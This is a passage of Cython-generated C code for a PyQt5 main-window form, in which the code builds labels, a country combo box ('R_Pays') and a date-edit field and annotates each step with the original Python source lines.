__Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_14, __pyx_t_3) < 0) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":201 * self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) * self.label_14 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_14.setObjectName("label_14") # <<<<<<<<<<<<<< * self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) * self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_14); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__120, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":202 * self.label_14 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_14.setObjectName("label_14") * self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) # <<<<<<<<<<<<<< * self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_Pays.setObjectName("R_Pays") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_14); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_9, __pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_9, __pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_9); __Pyx_GIVEREF(__pyx_int_9); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_int_9); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_8, __pyx_t_4); __pyx_t_9 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":203 * self.label_14.setObjectName("label_14") * self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) * self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_Pays.setObjectName("R_Pays") * self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QComboBox); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays, __pyx_t_3) < 0) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":204 * self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) * self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_Pays.setObjectName("R_Pays") # <<<<<<<<<<<<<< * self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) * self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__121, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":205 * self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_Pays.setObjectName("R_Pays") * self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) # <<<<<<<<<<<<<< * self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_12.setObjectName("label_12") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_9, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_9, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_9); __Pyx_GIVEREF(__pyx_int_9); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_9); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_6); __pyx_t_2 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":206 * self.R_Pays.setObjectName("R_Pays") * self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) * self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_12.setObjectName("label_12") * self.formLayout.setWidget(12, QtWidgets.QFormLayout.LabelRole, self.label_12) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_12, __pyx_t_3) < 0) __PYX_ERR(0, 206, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":207 * self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) * self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_12.setObjectName("label_12") # <<<<<<<<<<<<<< * self.formLayout.setWidget(12, QtWidgets.QFormLayout.LabelRole, self.label_12) * self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_12); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__122, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":208 * self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_12.setObjectName("label_12") * self.formLayout.setWidget(12, QtWidgets.QFormLayout.LabelRole, self.label_12) # <<<<<<<<<<<<<< * self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) * self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_12); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_12, __pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_12, __pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_12); __Pyx_GIVEREF(__pyx_int_12); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_12); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_9); __pyx_t_1 = 0; __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":209 * self.label_12.setObjectName("label_12") * self.formLayout.setWidget(12, QtWidgets.QFormLayout.LabelRole, self.label_12) * self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QDateEdit); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if 